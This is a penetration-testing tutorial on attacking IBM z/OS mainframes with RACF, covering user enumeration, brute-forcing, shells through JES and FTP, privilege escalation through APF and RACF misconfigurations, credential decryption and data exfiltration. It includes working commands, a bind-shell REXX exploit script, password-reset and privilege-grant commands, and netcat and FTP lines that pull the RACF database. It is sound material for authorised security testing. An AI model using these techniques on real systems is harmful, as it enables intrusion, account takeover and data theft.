Information technology is developing at a rapid pace, with completely new areas emerging, such as DevOps and DevSecOps – and we’re striving to keep up. However, in some projects, you may encounter systems built on rather outdated principles. Such systems must be approached with care, since a single mistake can lead to data loss and malfunctions. To some extent, this is true for today’s systems too, but for systems with a rich history, the risks are significantly higher.
Mainframes are just such an example of old architecture. These software-hardware solutions rely on principles developed in the 1960s. However, they’re still in use today, for example, to simultaneously process a large number of transactions, perform complex computing operations, and so on. They’re typically found in stock exchanges, banks, airports, and other organizations that process a lot of transactions. Despite their outdated design principles, today’s mainframe operating systems support some Linux components required to run certain utilities and web servers.
Due to the high cost and specialized focus of mainframes, these devices are rarely subject to pentesting. As a result, the community of specialists in this area is quite small. When a pentester first encounters a mainframe in a project, they have to thoroughly research this device type: its operating system principles, service features, and possible methods of compromise. It’s also important to understand the potential consequences of actions taken on the mainframe in order to exclude any potential disruptive ones from the testing plan. There are quite a few articles describing the exploitation of individual components, but gathering all the information together is no easy task. There are also guides on finding configuration errors within the mainframe itself (Example 1, Example 2, Example 3), however they require an understanding of its internal structure.
In this article, we’ll discuss the approach to pentesting IBM mainframes based on the z/OS operating system and the Resource Access Control Facility (RACF) security package, examine the technical features of such mainframes, and demonstrate how the behavior of familiar services connected to a mainframe can lead to its compromise. Thus, this article presents the path that a pentester must take to gain access to a mainframe, escalate the privileges of the current user, find possible vectors for moving to other mainframes or systems on the local network, and exfiltrate data without causing irreversible consequences. For clarity, we’ve prepared an interactive diagram of this path with various commands, links, and comments. Below is a screenshot of this diagram.
The functional structure of z/OS consists of three basic modules:
These three modules form the foundation for the operation of other modules that support today’s information systems. For example, thanks to USS, z/OS is compatible with WebSphere web servers, DB2 databases, and more.
System services include these components:
These are the main subsystems we will discuss in this article. Of course, you can find more detailed descriptions of the system components, but to properly understand them you have to delve even deeper into z/OS.
Let’s start with the reconnaissance phase, or how to figure out if you’re dealing with a mainframe. The first sign may be a set of TCP ports obtained from a network scan of the host.
Port | Service |
21/tcp | FTP |
22/tcp | SSH |
23/tcp | TN3270 over Telnet |
24/tcp | Telnet |
175/tcp | Network Job Entry |
515/tcp | Printserver |
900/tcp | FTP |
1023/tcp | Telnet |
1414/tcp | IBM MQ Server |
1415/tcp | IBM MQ Re-translator |
1920/tcp | IBM Tivoli Monitoring Service Index |
2252/tcp | Network Job Entry over SSL |
2809/tcp | CORBA |
4020/tcp | NetView |
4022/tcp | NetView |
8803/tcp | RMF Data Portal |
10007/tcp | Workload Manager |
The table above shows examples of TCP ports typical for mainframes. Note the unusual placement of the FTP (port 900/tcp) and Telnet (port 1023/tcp) services. This setup is often found on mainframes.
Another sign of a mainframe may be the banners of current services displayed when attempting to connect. If they contain keywords like z/OS, mainframe, or IBM, the services are most likely running on a mainframe.
The reconnaissance phase also includes obtaining a list of authorized users. A distinctive feature of the well-known Telnet service when running on a mainframe is that in response to an identification attempt, it returns whether the user has the right to connect. This feature allows you to obtain a list of authorized users without harming the mainframe. Here is an example of connection attempts by two users: NOTEXIS receives an error, while IBMUSER is prompted for a password.
This feature is well-known, and there are tools to automate the process, such as the patator or nmap scripts:
patator telnet_login host=<ip> port=23
Existing users listing automation with the patator
nmap -p 23 <ip> --script tso-enum --script-args userdb=tso_users_full.txt -vv
Existing users listing automation with the nmap
A pentester needs a list of existing users to gain initial access. Often, knowing a unique username is enough to enter the system. More about this in the next phase.
It’s not uncommon to use passwords that match the username for authentication on mainframe computers. Therefore, if unique usernames were found in the previous step, they may be sufficient for connecting to and controlling the mainframe. Default passwords may also be set for standard users, such as:
More examples of default passwords for z/OS users can be found on GitHub.
The reason for using such weak passwords is the weak default password policy. It can be strengthened with the ICHPWX11 installation exit, but this is not installed by default.
The z/OS operating system uses the Resource Access Control Facility (RACF) as its security package. Although z/OS supports other security packages such as ACF2 and Top Secret, these are third-party software that needs to be installed separately. In RACF, there are two password-based authentication methods: PASSWORD and PASSPHRASE. Additionally, z/OS allows you to use both methods simultaneously, as some applications or services may authenticate users only by the PASSWORD method.
Type | Length | Available characters |
PASSWORD | 1–8 | Uppercase Latin letters + digits + special characters (@#$)1 |
PASSPHRASE | 14(9)2–100 | Uppercase and lowercase Latin letters + digits + special characters (@#$&* {}[]” ()=,.;’+/) |
1 Used by default; can be supplemented with lowercase Latin letters and additional special characters.
2 Minimum passphrase length depends on whether the ICHPWX11 exit is installed.
The table above shows that the default PASSWORD authentication method supports passwords no longer than eight characters, which can contain digits, uppercase Latin letters, and three special characters. Although the password policy can be strengthened with installation exits, such weak initial settings encourage system administrators to use simple passwords.
Since it’s possible to log into mainframe services using PASSWORD (or PASSPHRASE), they may be susceptible to password brute-force attacks, so it’s a good idea to check this vector. For this purpose, you can use the previously mentioned patator or nmap scripts. Below are commands for brute-forcing PASSWORD for the Telnet service using these tools.
patator telnet_login host=<ip> port=23
nmap -p 23 <ip> --script tso-brute -vv
Regarding brute-forcing PASSPHRASE, we found that guessing the correct LOGIN-PASSWORD pair for a user with this setting can only be done through the IBM HTTP Server service. To do this, you can use any known password cracking tool that supports the HTTP Basic Authentication method, for example, hydra:
hydra -l username -P passwords.txt -s 80 -f <ip> http-get /
It’s important to note that password brute-forcing can lead to account lockout, disrupting the mainframe’s operation. Therefore, before conducting an attack using this method, ensure that the user blocking policy allows it.
Regardless of whether a correct login-password pair was obtained in the previous stage, there are several ways to execute commands on the mainframe.
Job Entry System (JES) is a component that handles batch jobs. It accepts and logs jobs from various sources, analyzes them, adds them to the queue, sends them for execution, and outputs the results. The basic workflow of JES is illustrated in the diagram:
Interestingly, one of the sources of batch jobs is the FTP server. Thus, with valid mainframe user credentials, you can connect to the FTP server and send a batch job file for execution on the mainframe. This batch job can include instructions to obtain a bind or reverse shell. This scenario can be implemented through the following steps:
An example of a netcat version compiled for z/OS v1.10 is available in the repository https://github.com/mainframed/NC110-OMVS/blob/master/binary/nc. Since the mainframe uses EBCDIC character encoding, it’s necessary to translate ASCII characters to EBCDIC for the utility to understand your commands. The Python script netebcdicat was created for this, allowing you to accept a reverse shell connection request or connect to a bind shell.
Using the netcat utility is one example of exploiting JES to execute commands on the mainframe. There are other ways to achieve this goal. For example, the following tools can be used to automate this process:
The MainTP script contains source code for creating bind and reverse shells in C, as well as JCL batch job instructions. These instructions tell the mainframe to compile and then launch the shell. Like netcat, MainTP helps you gain access to the UNIX component of the mainframe, called UNIX System Services. As a result, the created bind or reverse shell allows you to manage the z/OS UNIX Shell component, which is analogous to the SH or BASH interpreter. This form of interaction with the mainframe is more or less familiar to pentesters, as many z/OS UNIX Shell commands closely resemble BASH or SH commands from well-known UNIX-like systems such as Debian, Ubuntu, CentOS, and FreeBSD.
The TShOcker script loads and runs a REXX-format script on the mainframe, creating a bind or reverse shell, and gives it control over the Time Sharing Options (TSO) resource manager – a command interpreter for z/OS that allows you to manage mainframe resources: access data, manage users, launch programs, and so on.
Network Job Entry (NJE) is a part of the Job Entry System that allows multiple mainframes to communicate with each other, sending various files, batch jobs, system commands, and so on.
NJE is used when an organization has several geographically separated mainframes. Depending on the configuration, by abusing NJE you can perform certain actions on the mainframe. For example, in the default configuration, a pentester can execute commands as another user without a password or special token. However, exploiting NJE requires certain information in advance, such as the names of NJE nodes participating in the NJE network. This topic is beyond the scope of this article and deserves special attention. More detailed information on exploiting NJE can be found in the PoC || GTFO journal. You can also check out the pentesting tool NJElib for this purpose.
Virtual Telecommunications Access Method (VTAM) is a subsystem that allows various mainframe applications to be accessed over a network, specifically through the TCP/IP stack.
The TN3270 protocol, developed in the 1970s, is used for network interaction with mainframe applications. At that time, communication with mainframes was carried out through special devices (terminals).
Today, the TN3270 protocol can work over the Telnet protocol, and there are several utilities (terminal emulators), such as x3270, that allow to control mainframe applications or resource managers. You can launch x3270 using the following commands:
x3270 -proxy socks4:<PROXY_IP>:1080 -user SYSADM <IP>
x3270 -charset <charset> -proxy socks4:<PROXY_IP>:1080 -user SYSADM <IP>
After connecting to the mainframe using the TN3270 protocol via Telnet, you can select the application or resource manager for interaction.
The Customer Information Control System (CICS) is responsible for transaction management and serves as a layer through which external applications, such as software on store clerks’ computers, interact with mainframe resources. A CICS application can be written in various programming languages supported by the mainframe: С/Java/COBOL. Access to CICS is provided by VTAM. A discussion of attacks on this application deserves a separate article, but you can find details about the exploitation and tools at the following links:
Resource managers allow you to interactively manage mainframe resources, control access, and configure mainframe components. Let’s look at two basic resource managers as an example.
Time Sharing Options/Extensions, or simply Time Sharing Options (TSO), is an interactive command-line user interface with its own command system, allowing you to manage mainframe resources: run programs and jobs, manipulate datasets, manage users, and more.
The Interactive System Productivity Facility (ISPF) resource manager is more like a graphical interface for managing mainframe resources, but its functionality is very similar to TSO, and essentially the two can be used interchangeably.
As we’ve seen in the previous phases, mainframes include not only z/OS-specific services but also more common server management services like Telnet and SSH. With valid credentials, you can connect to the mainframe using standard clients for these services.
As shown in the image, once connected to the services, you gain access to USS and the ability to execute z/OS UNIX Shell commands. This type of access is more convenient and familiar to a pentester than managing the mainframe through TSO/ISPF or via JES and FTP. It can also be used for information gathering, privilege escalation, data exfiltration, and more. You can also execute TSO resource manager commands through the z/OS UNIX Shell using the tsocmd utility.
As mentioned earlier, mainframes support current technologies, including the web servers IBM HTTP Server or WebSphere, allowing the launch of various web applications. And where there are web applications, there may be vulnerabilities.
For example, you may encounter a version of IBM HTTP Server that is vulnerable to CVE-2012-5955, which allows a remote attacker to execute arbitrary commands. An example of exploiting this vulnerability is available at the following link: https://github.com/mainframed/logica/blob/master/utcam.sh.
You may also encounter custom web applications written by the client, which could have various vulnerabilities leading to remote code execution, for example, through unsecure file uploads or command injections.
Since the main web servers use USS, exploiting vulnerabilities in the web server or web application can also give access to USS.
Before discussing privilege escalation methods on a mainframe, let’s examine the basic access control flow on the device.
When a user attempts to access a mainframe resource, the System Authorization Facility (SAF) component queries the security package. z/OS supports various security packages (ACF2, Top Secret, RACF). In this article, we’ll focus on IBM’s standard security package – Resource Access Control Facility (RACF). RACF consists of a service and a database containing information about users, groups, resources, datasets, and more, as well as user access rights and privileges. The RACF service communicates with the SAF and decides whether the user has certain privileges or access rights.
When a user successfully logs in, their profile is loaded into the RACF service’s RAM. The profile contains an Accessor Environment Element (ACEE) block, which specifies the user’s rights and privileges. All subsequent access decisions are based on this data. One of the most popular methods of privilege escalation involves finding a way to modify the contents of the ACEE in the user’s profile in the RACF service’s RAM. However, this is not the only method.
In terms of mainframes, a dataset is analogous to a file, consisting of records and containing text information, scripts, programs, libraries, application data, and so on. Several types of dataset exist, each with its own structure. Information about a dataset (attributes, access rights, audit settings, and more) is also stored in the RACF database. Configuration errors affecting dataset access rights can lead to privilege escalation.
Let’s look at an interesting feature of z/OS – the Authorized Program Facility (APF). This security mechanism grants programs the right to perform privileged operations, such as accessing arbitrary areas of RAM. Programs with such access are called APF-authorized. They can switch to a special “supervisor” mode during execution, in which they perform privileged operations. Thus, if you find write access rights to any APF-authorized program or library, you can add code to it that finds the current user’s profile in the RACF service’s RAM and modifies its ACEE to increase the user’s privileges.
There are several ways to search for APF-authorized programs and libraries:
CONSOLE d prog, apfFor this, you need privileges to execute the CONSOLE command.
After displaying the list of APF-authorized programs and libraries, you can enter the following command into TSO to find out access rights:
listdsd dataset('<dataset>') gen
https://github.com/ayoul3/Privesc/blob/master/ELV.APF https://github.com/mainframed/Enumeration/blob/master/APFCHECKRunning the ELV.APF script in TSO to obtain a list of APF-authorized programs and libraries looks like this:
ex 'ELV.APF' 'LIST'If you see ALTER or UPDATE access to any APF-authorized program or library, you can modify its content.
There are several exploits that allow you to abuse excessive access to an APF-authorized program or library.
payload/cmd/mainframe/apf_privesc_jcl
https://github.com/ayoul3/Privesc/blob/master/ELV.APF
The ELV.APF script searches for the user profile in RAM and assigns it the SPECIAL attribute, which gives the user the highest privileges in the system for the current session. It’s important to note that to retain the privileges, the script executes a TSO command that adds the SPECIAL and OPERATIONS attributes to the user in the RACF database. As a result, the user’s privileges are retained upon recreating the session.
ALU "||userid()||" SPECIAL OPERATIONS
If you don’t want to make changes to the RACF database, you can act as a more privileged user who is already logged in and whose profile is present in RAM. For this, another script from the same repository is suitable:
https://github.com/ayoul3/Privesc/blob/master/ELV.SELF
To get a list of logged-in users, use the TSO command:
ex 'ELV.SELF'
And to perform actions as the user, execute the following command:
ex 'ELV.SELF' 'TARGET=<USERID> APF=<APFPATH>
Datasets have an attribute that determines whether the dataset is in WARNING mode. In this mode, any access to the dataset is permitted, regardless of the access rights specified in the RACF database. If someone tries to violate the access restrictions set in RACF, a warning message is generated, but access is still granted. Thus, if the dataset stores sensitive information, such as the RACF database, an APF-authorized library, or a certain resource in a resource class, any user can modify or exfiltrate the dataset, leading to privilege escalation or data leakage.
Examples of TSO commands for identifying datasets and resources in WARNING mode:
sr class(<CLASSNAME>) warning
SR ALL WARNING NOMASK
Resource classes on the mainframe define the class of privileges that users or groups may have. For example, the OPERCMDS resource class defines which operator commands can be executed, UNIXPRIV defines privileges in USS, DASDVOL defines privileges for access to DASD volumes, and so on. Interestingly, some privileges may be interchangeable. A schematic diagram of resource classes and access rights to certain resources is presented below.
Each resource class consists of individual resources responsible for specific privileges. For example, the BPX.FILEATTR.APF resource in the FACILITY resource class allow you to assign an extended attribute to files in USS using the command extattr +a
. A file with this attribute becomes an APF-authorized program or library.
Access rights to a resource for a user are determined by the Access Authority field. This can have one of six values (listed in ascending order of access level): NONE, EXECUTE, READ, UPDATE, CONTROL, ALTER. The logic of assigning privileges to users in z/OS is not straightforward and differs from more common systems: most often, for a user to gain a privilege associated with a resource, it’s sufficient to have minimal access to that resource, such as READ. Intuitively, it might seem that the READ access level only allows a user to view a list of users with access to the resource, but in practice, this is not the case. Below are some well-known resource classes and specific resources for which configuration errors may lead to privilege escalation.
The TSOAUTH resource class is used to protect TSO resources, specifically, to define which commands a user can enter in TSO.
The TESTAUTH resource in the TSOAUTH class determines whether a user can enter the TESTAUTH command. This command runs a program as APF-authorized. If a user has access to this resource with READ rights or higher, they can elevate current privileges through misconfiguration of APF-authorized programs and libraries.
To check if the current user has privileges to execute the TESTAUTH command, the following command can be entered in TSO:
RLIST TSOAUTH TESTAUTH AUTH
Example of running a program in TSO as APF-authorized through TESTAUTH:
TESTAUTH 'SYS1.LINKLIB(<SOMELIB>)'
You can also view examples of exploiting the TESTAUTH resource at this link: https://github.com/zBit31/testauth.
The OPERCMDS resource class defines access to commands for managing various subsystems in z/OS: Multiple Virtual Storage (MVS), JES2, JES3, RACF, and others. In other words, it defines a set of commands that a user can use to manage z/OS, retrieve status information, and so on.
The Access Authority value can be assigned not only to an individual resource but also to a group of resources. In this case, asterisks ** are used instead of part of the resource name. Thus, MVS.SETPROG.** is a group of resources where UPDATE access allows any dataset to be APF-authorized.
To check if the current user has privileges to execute the SETPROG command within the MVS.SETPROG.** resource group, the following command can be entered in TSO:
RLIST OPERCMDS MVS.SETPROG.** AUTH RLIST OPERCMDS MVS.SET.PROG.** AUTH
An example of setting a dataset as APF-authorized:
SETPROG APF,ADD,DSNAME=<SOMEDATASET>,SMS
The FACILITY resource class defines user privileges when performing certain operations. It helps avoid excessive assignment to users of the SPECIAL attribute, which grants unlimited rights, and separates high privileges into individual resources. This way, users can be only assigned the necessary privileges.
The resource IRR.PASSWORD.RESET allows you to reset passwords and passphrases for users without special attributes (SPECIAL, OPERATIONS, AUDITOR, ROAUDIT). The Access Authority value sufficient for exploitation is READ.
To find out if the current user has sufficient access to the IRR.PASSWORD.RESET resource, the following command can be used:
RLIST FACILITY IRR.PASSWORD.RESET AUTH
The following command resets passwords and passphrases for users without special attributes:
ALU <USERID> PASS(<PASSWORD>) RESUME
Owning the BPX.SUPERUSER resource makes the user a superuser in the UNIX subsystem. This means they can switch to superuser mode using the ‘
su’ command in z/OS UNIX Shell. To do this, it’s sufficient to have Access Authority READ.
The following command will help determine if the current user has access to the BPX/SUPERUSER resource:
RLIST FACILITY BPX.SUPERUSER AUTH
To exploit this, you need to switch to z/OS UNIX Shell from TSO using the OMVS command and then enter
su root.
OMVS su root
The resource BPX.FILEATTR.APF allows you to assign an attribute to a file in z/OS UNIX Shell that makes it APF-authorized. The necessary level of Access Authority for exploiting this resource is READ.
To find out if the current user has the necessary level of access to the BPX.FILEATTR.APF resource, execute the following command:
RLIST FACILITY BPX.FILEATTR.APF AUTH
To exploit this resource, you need to switch to z/OS UNIX Shell using the OMVS command and then execute extattr +a.
OMVS extattr +a ./somefile
The SURROGAT resource class is responsible for performing actions on behalf of other users in various z/OS subsystems. Specifically, it defines the ability to run a task in JES or execute a command in z/OS UNIX Shell on behalf of another user without a password. For more detailed information about this resource class, you can watch this presentation by security expert Jake Labelle at DEF CON Safe talks:
A resource with this mask allows you to submit tasks for execution in JES on behalf of user <USERID> using the TSO SUBMIT command. Details can be found here.
To obtain data on the availability of a specific user, use the command below, replacing <USERID> with the username of interest:
RLIST SURROGAT <USERID>.SUBMIT AUTHUSER
To get a list of all available users, you can use the following command:
SEARCH CLASS(SURROGAT) FILTER(*.SUBMIT)
To take advantage of this resource, you need to create a task and submit it for execution in JES. The task can contain various operations. For example, you can use the CATSO.REXX script mentioned when describing the execution phase. This script is used to create a bind or reverse shell, allowing you to control TSO on behalf of another user. For convenience, here is the REXX script (SURROGAT_EXPLOIT.REXX), which takes <USERID> as an input argument and runs CATSO.REXX on its behalf with specified parameters to open a bind shell.
/* REXX */ PARSE ARG id QUEUE "//SURR01 JOB (9),'SURR01',CLASS=A,USER="id"," QUEUE "// MSGCLASS=H,MSGLEVEL=(1,1)" QUEUE "//SURR012 EXEC PGM=IKJEFT01" QUEUE "//SYSTSPRT DD SYSOUT=*" QUEUE "//SYSTSIN DD *" QUEUE "EXEC 'TESTUSER.CATSO.REXX' 'L 8855'" QUEUE "//*" QUEUE "$$" o = OUTTRAP('output.') "SUBMIT * END($$)" o = OUTTRAP(OFF)
During exploitation, you need to change the following lines in the script:
An example of performing actions as the user IBMUSER:
EX 'SURROGAT_EXPLOIT.REXX' 'IBMUSER'
A resource with this mask allows you to act as another user in z/OS UNIX Shell.
To obtain data on the availability of a specific user, use the command below, replacing <USERID> with the specific username:
RLIST SURROGAT BPX.SRV.<USERID> AUTHUSER
To get a list of all available users, you can use the following command:
SEARCH CLASS(SURROGAT) FILTER(BPX.SRV.*)
For exploitation, you need to switch to z/OS UNIX Shell from TSO using the OMVS command, and then enter
su -s <USERID>, where you need to substitute the login of a specific user instead of <USERID>.
OMVS su -s <USERID>
The above is just a sample of the existing resource classes and resources. You may encounter a different set of available privileges. In such cases, studying the documentation on privileges will help you understand how they can be abused to gain access to sensitive information or escalate current privileges.
In the context of configuration violations affecting access control to resource classes, it’s worth considering ways of working with z/OS UNIX Shell. As mentioned earlier, the command TSO
OMVSis used to start z/OS UNIX Shell.
In addition to the methods mentioned above, there is an SH script called OMVSEnum.sh that searches in the UNIX subsystem for interesting files and utilities that the current user has some access to, allowing for privilege escalation or extraction of sensitive data.
It’s also interesting that when assigning a file an attribute that makes it APF-authorized using the command
extattr +a ./somefile, it can be executed not only in z/OS UNIX Shell but also found in TSO as a dataset. Files in USS are special types of dataset, such as HFS (Hierarchical file system) or z/FS (z/OS file system). A diagram of how files and directories are stored in z/OS for USS is presented below.
Thus, you can access a file both through z/OS UNIX Shell and through TSO.
The vulnerability CVE-2012-5951 was found in the NetView service some time ago, making it possible to escalate privileges in USS.
To determine whether the system has this vulnerability, you need to find the path to the
cnmeunixutility, which is located at the mask
/usr/lpp/netview/vXrX/bin/cnmeunix. If the value of vXrX >= 5.1 but <=5.4 or 6.1, then the NetView service is vulnerable to CVE-2012-5951.
To escalate privileges through the exploitation of CVE-2012-5951, use the kuku script.
The information gathering phase is most relevant if access to the mainframe is not the final goal of the pentest. z/OS supports integration with other operating systems, particularly through LDAP or Kerberos, and the credentials for such integrations are located in USS files. You may also have access to files containing logins and passwords of privileged users, such as WebSphere configuration files. It’s easiest to obtain this data from USS.
Below is a table with the location of potentially interesting files.
Files/Directories | Description |
/service/UserLog/ | Directory with files of BASH/SH command histories executed by users |
/u/ | Directory with user folders |
/etc/skrb/ | Configuration files for Kerberos |
/etc/ldap/ | Configuration files for LDAP |
/etc/httpd.conf | Configuration files for IBM HTTP Server |
/etc/dfs | Configuration files for DFS |
/WebSphere/WAS/<cell>/<node>/App Server/profiles/<profile>/config/cells/ <cell>/security.xml |
Configuration files for WebSphere |
/usr/lpp/internet/server_root/Admin/ webadmin.passwd |
File with administrative credentials in IBM HTTP Server |
It’s worth paying attention the WebSphere configuration files. Often the credentials they contain are protected by weak encryption and are marked with the prefix {XOR}. They can be easily decrypted, for example, using the script websphere-xor-password-decode-encode.py.
python2.7 websphere-xor-password-decode-encode.py -d Lz4sLCgwLTs=
LDAP passwords can also be stored in a special stash file, which is easy to decrypt. Below is an example of creating such a stash file:
/usr/lpp/internet/sbin/htadm -stash stash_file.sth SuperSecretLDAPPass
To decrypt the stash file, execute the following command. It should be noted that the encoding in z/OS is EBCDIC, and the file must be converted to ASCII after decryption.
perl -C0 -n0xF5 -e 'print $_^"\xF5"x length."\n";exit' < key.sth > unstash.key dd conv=ascii if=unstash.key of=unstash_ascii.key
A few words about the exfiltration process. The most convenient way to perform exfiltration is through standard protocols like FTP, SSH, and their utilities – FTP, SCP, SSH, and so on.
Data can also be downloaded using the x3270 utility if you don’t have access to other protocols.
Another effective, albeit “dirty” method is to copy files to a directory with static data of the HTTP server and access it via the necessary path.
Netcat can be used for exfiltration, but you need to remember the difference in encoding.
nc -l 4321 < source_file.txt
nc zos_ip_address 4321 > destination_file.txt
If you need to exfiltrate a dataset during mainframe pentesting, the x3270 and FTP utilities are typically used. When connecting to the FTP server, you will gain access to the user dataset and can download the data within it.
get SOME.DATASET.PATH
You can also try going a few datasets back using ‘..’ to access sensitive data, such as the RACF database.
cd .. cd SYS1 get RACF
If it’s not possible to directly exfiltrate a file from USS, you can copy it to a dataset using the following command:
OGET '/path/to/hfs/file' DATASETNAME BINARY
You can directly download a file from USS through the FTP server. After connecting, simply change the directory, for example, to /tmp, and further directory transitions will be made within USS.
You can copy a dataset to a USS file and exfiltrate it using the following command:
cp -B "//'SYS1.RACF'" /tmp/racf
We’ve examined the features of mainframes and the main attack vectors against them. It should be noted that the list of techniques, tactics, and procedures for accessing a mainframe considered in this article is far from exhaustive. Despite the fact that these complex systems have been around for a while, the community dedicated to pentesting them is relatively small. Therefore, consider this article a starting point for working with mainframes, and don’t hesitate to bring something new to this field. There’s plenty of room for new findings.
In the next article, we will describe the internal structure of RACF in more detail and discuss a tool that simplifies the search for configuration errors in RACF through offline examination of the security package database.